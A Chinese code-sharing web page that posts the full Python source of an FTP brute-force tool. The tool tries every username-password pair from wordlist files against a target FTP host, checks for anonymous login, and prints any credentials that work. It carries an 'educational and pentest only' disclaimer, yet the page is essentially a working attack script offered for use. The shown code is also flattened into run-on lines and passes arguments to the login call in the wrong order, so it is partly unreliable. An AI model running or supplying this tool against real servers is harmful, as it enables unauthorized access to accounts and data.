Python FTP破解小工具源码,pythonftp破解源码,Python FTP破解
Python FTP破解小工具源码,pythonftp破解源码,Python FTP破解
Python FTP破解小工具,只要你在当前目录下,完成建立自己的用户名和密码字典,就可以破解出用户名和密码这样的工具。代码是网上找来的,代码中若存在什么问题,请自己修改下。
#!/usr/bin/env python#-*-coding = utf-8-*-import sys, os, time from ftplib import FTPdocs = """[*] This was written for educational purpose and pentest only. Use it at your own risk.[*] Author will be not responsible for any damage![*] Toolname : ftp_bf.py[*] Coder : [*] Version : 0.1[*] ample of use : python ftp_bf.py -t ftp.server.com -u usernames.txt -p passwords.txt"""if sys.platform == 'linux' or sys.platform == 'linux2':clearing = 'clear'else:clearing = 'cls'os.system(clearing)R = "\033[31m";G = "\033[32m";Y = "\033[33m"END = "\033[0m"def logo():print G+"\n |---------------------------------------------------------------|" print "| |" print "| blog.sina.com.cn |" print "| 08/05/2012 ftp_bf.py v.0.1 |" print "| FTP Brute Forcing Tool |" print "| |" print "|---------------------------------------------------------------|\n"print "\n [-] %s\n" % time.strftime("%X")print docs+ENDdef help(): print R+"[*]-t, --target ip/hostname <> Our target"print "[*]-u, --usernamelist usernamelist <> usernamelist path"print "[*]-p, --passwordlist passwordlist <> passwordlist path"print "[*]-h, --help help <> print this help"print "[*]Example : python ftp_bf -t ftp.server.com -u username.txt -p passwords.txt"+ENDsys.exit(1)def bf_login(hostname,username,password):#sys.stdout.write("\r[!]Checking : %s " % (p))#sys.stdout.flush()try:ftp = FTP(hostname)ftp.login(hostname,username, password)ftp.retrlines('list')ftp.quit()print Y+"\n[!] w00t,w00t!!! We did it ! "print "[+] Target : ",hostname, ""print "[+] User : ",username, ""print "[+] Password : ",password, ""+ENDreturn 1#sys.exit(1)except Exception, e:passexcept KeyboardInterrupt:print R+"\n[-] Exiting ...\n"+ENDsys.exit(1)def anon_login(hostname):try:print G+"\n[!] Checking for anonymous login.\n"+ENDftp = FTP(hostname)ftp.login()ftp.retrlines('LIST')print Y+"\n[!] w00t,w00t!!! Anonymous login successfuly !\n"+ENDftp.quit()except Exception, e:print R+"\n[-] Anonymous login failed...\n"+ENDpassdef main():logo()try:for arg in sys.argv:if arg.lower() == '-t' or arg.lower() == '--target':hostname = sys.argv[int(sys.argv[1:].index(arg))+2]elif arg.lower() == '-u' or arg.lower() == '--usernamelist':usernamelist = sys.argv[int(sys.argv[1:].index(arg))+2]elif arg.lower() == '-p' or arg.lower() == '--passwordlist':passwordlist = sys.argv[int(sys.argv[1:].index(arg))+2]elif arg.lower() == '-h' or arg.lower() == '--help':help()elif len(sys.argv) <= 1:help()except:print R+"[-]Cheak your parametars input\n"+ENDhelp()print G+"[!] BruteForcing target ..."+ENDanon_login(hostname)#print "here is ok!"#print hostnametry: usernames = open(usernamelist, "r")user = usernames.readlines()count1 = 0while count1 < len(user):user[count1] = user[count1].strip()count1 +=1except: print R+"\n[-] Cheak your usernamelist path\n"+ENDsys.exit(1)#print "here is ok !",usernamelist,passwordlisttry:passwords = open(passwordlist, "r")pwd = passwords.readlines()count2 = 0while count2 < len(pwd):pwd[count2] = pwd[count2].strip()count2 +=1except:print R+"\n[-] Check your passwordlist path\n"+ENDsys.exit(1)print G+"\n[+] Loaded:",len(user),"usernames"print "\n[+] Loaded:",len(pwd),"passwords"print "[+] Target:",hostnameprint "[+] Guessing...\n"+ENDfor u in user:for p in pwd:result = bf_login(hostname,u.replace("\n",""),p.replace("\n",""))if result != 1:print G+"[+]Attempt uaername:%s password:2000%s..." % (u,p) + R+"Disenable"+ENDelse:print G+"[+]Attempt uaername:%s password:%s..." % (u,p) + Y+"Enable"+ENDif not result :print R+"\n[-]There is no username ans password enabled in the list."print "[-]Exiting...\n"+ENDif __name__ == "__main__":main()#www.iplaypy.com
编橙之家文章,
相关内容
- Python正态分布概率计算方法,python概率计算方法,Pytho
- 请大牛指点将List转成XML代码问题,大牛xml,近期正在学
- Python斐波那契数列简单实现源码,python斐波那契数列
- python在电脑硬盘中查找内容的方法,python中查找,pytho
- Python查找指定目录文件glob通配符方法,pythonglob,Python文
- 凯撒移位密码加密算法的Python3.0实现方法,加密算法
- python将色彩HSL转为RGB表示的方法,pythonhsl转为rgb,这是我
- reportlab方法实现中文PDF成生示例,reportlab成生,在使用这
- 通过GDP判断外交关系的练习代码学习和分享,gdp外交关
- 将大数据文件分割为小文件的python方法,文件分割pyt
评论关闭